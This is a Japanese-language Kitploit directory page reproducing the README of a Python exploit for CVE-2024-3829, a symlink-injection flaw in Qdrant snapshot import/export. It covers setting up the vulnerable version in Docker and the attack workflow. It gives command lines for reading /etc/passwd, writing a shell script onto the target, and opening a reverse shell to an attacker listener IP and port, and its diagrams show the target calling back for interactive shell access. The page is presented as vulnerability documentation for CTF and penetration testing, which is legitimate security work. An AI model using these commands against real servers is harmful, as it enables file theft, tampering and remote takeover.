Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-3829 — Qdrant スナップショットのインポート/エクスポートを標的とした CVE-2024-3829 用の Python エクスプロイト。シンボリックリンクインジェクションを介して、ファイル読み取り、ファイル書き込み、リバースシェル実行を可能にします。 | Kitploit
ツール/GitHubGitHub/fabse-hack/cve-2024-3829
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストペイロード開発
GitHubfabse-hack/cve-2024-3829

CVE-2024-3829

Qdrant スナップショットのインポート/エクスポートを標的とした CVE-2024-3829 用の Python エクスプロイト。シンボリックリンクインジェクションを介して、ファイル読み取り、ファイル書き込み、リバースシェル実行を可能にします。

リポジトリを見る
122ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Qdrant 用 CVE-2024-3829 - Exploit

root@kitploit:~
 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################  
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______   
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |  
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |  
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |  
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |  
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |  
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|  
  
 ############################################### by fabse-hack.de ###############################################  

このリポジトリは、qdrant/qdrant (v1.9.0-dev) における CVE-2024-3829 を文書化し、実証するためのものです。

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-3829
  • このリポジトリの詳細情報とアイデア:
  • Huntr: https://huntr.com/bounties/abd9c906-75ee-4d84-b76d-ce1386401e08
  • incibe: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-3584
  • GitHub: https://github.com/qdrant/qdrant/commit/15479a45ffa3b955485ae516696f7e933a8cce8a
  • サポート & 寄付

    PayPal:

    Buy Me a Coffee:

    概要

    この脆弱性により、シンボリックリンク/パス操作を介してスナップショットアーカイブを操作できます。これにより、2 つの影響クラスとリバースシェルが可能になります(笑):

    1. ファイル読み取り
    2. ファイル書き込み
    3. リバースシェルの実行

    環境によっては、ファイル書き込みプリミティブがコード実行に昇格する可能性があります。

    影響を受けるソフトウェア (NVD リンクを参照)

    • 製品: Qdrant
    • バージョン: 1.9.0-dev
    • コンポーネント: スナップショットのインポート/エクスポート

    バージョン番号に関する注意:

    このバージョンは、ワールドワイドウェブ(「インターネット」と呼ぶ人もいます)ではもう入手できません。
    qdrant のリポジトリにおいて、NVD Nist レポートは、脆弱性のある v1.9.0-dev であるコミットを指し示しています。
    CTF などで Docker にこのバージョンをインストールする場合は、次を使用してください:

    root@kitploit:~
    git clone https://github.com/qdrant/qdrant.git
    cd qdrant
    git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
    docker build -t qdrant:1.9.0-dev-vuln .
    docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
    

    ワークフロー (簡略版)

    1. コレクションを作成する
    2. スナップショットを生成する
    3. スナップショットをローカルで展開して変更する
    4. アーカイブにシンボリックリンクを注入する 読み取り/書き込みターゲット
    5. 変更したスナップショットをアップロードする
    6. スナップショットのリカバリをトリガーする
    7. 結果を評価する ファイル内容の読み取り / ファイルの書き込み / リバースシェルの実行

    リポジトリの内容

    • cve_2024_3829.py - 読み取り/書き込み/トリガーワークフロー用のエクスプロイト
    • requirements.txt - Python の依存関係

    要件

    • Kali Linux システム推奨
    • Python 3.10+
    • 稼働中の Qdrant サーバー ローカルテスト用
    • Python パッケージ requests

    インストール:

    root@kitploit:~
    python3 -m pip install -r requirements.txt
    

    使用方法

    すべてのオプションを表示:

    root@kitploit:~
    python3 cve_2024_3829.py -h
    

    例:

    root@kitploit:~
    # Read mode
    python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
    
    # Write mode
    python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
    
    # Reverse shell mode
    python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
    

    利用可能なパラメータ

    • -h, --help: CLI ヘルプを表示する
    • -m, --mode: read、write、reverse_shell のいずれか (必須)
      ターゲットパラメータ:
    • -tu, --target_url: Qdrant のベース URL (スクリプト内にデフォルト値あり)
    • -tp, --target_port: ターゲットの Qdrant ポート (デフォルト: 6333)
    • -tpath, --target_path: リモートターゲットのパス (デフォルト: /etc/)
    • -tf, --target_file_name: リモートターゲットのファイル名 (デフォルト: passwd)
      攻撃者パラメータ:
    • -ai, --attacker_ip: リバースシェルモード用のコールバック/リスナー IP
    • -ap, --attacker_port: コールバック/リスナーポート (デフォルト: 9001)
    • -apath, --attacker_path: 書き込みモード用の攻撃者ローカルファイルパス (デフォルト: /tmp/)
    • -af, --attacker_file_name: 書き込みモードでターゲット上で使用されるファイル名 (デフォルト: shell.sh)

    注意事項

    • --target_port を別途渡す場合、--target_url は末尾のポートを含まないベース URL にしてください。スクリプトは <url>:<target_port>/... のように URL を構築するためです。
    • read モードでは、スクリプトは --target_path と --target_file_name を組み合わせます (例: /etc/ + passwd)。
    • write モードでは、--attacker_path は既存のローカルファイルを指す必要があり、--attacker_file_name はリモートのファイル名を定義します。
    • Docker/WSL/ホスト間の境界を越えたネットワークテストでは、トリガーモードを実行する前に、まず到達可能性を確認してください (例: netcat を使用)。
    root@kitploit:~
    sequenceDiagram
        participant Attacker
        participant Exploit
        participant Target
        participant Listener
    
        Attacker->>Exploit: Start exploit script
        Exploit->>Listener: Start TCP listener
        Exploit->>Target: Create malicious collection
        Exploit->>Target: Upload trigger script
        Exploit->>Target: Overwrite executable
        Exploit->>Target: Call /stacktrace endpoint
        Target->>Listener: Reverse shell connection
        Listener->>Attacker: Interactive shell access
    root@kitploit:~
    flowchart TD
        Start[Start Listener]
        Bind[Bind to attacker port]
        Listen[Wait for connection]
        Accept[Accept incoming connection]
        Interactive[Interactive shell session]
        End[Connection closed]
    
        Start --> Bind
        Bind --> Listen
        Listen --> Accept
        Accept --> Interactive
        Interactive --> End
    ツールをダウンロード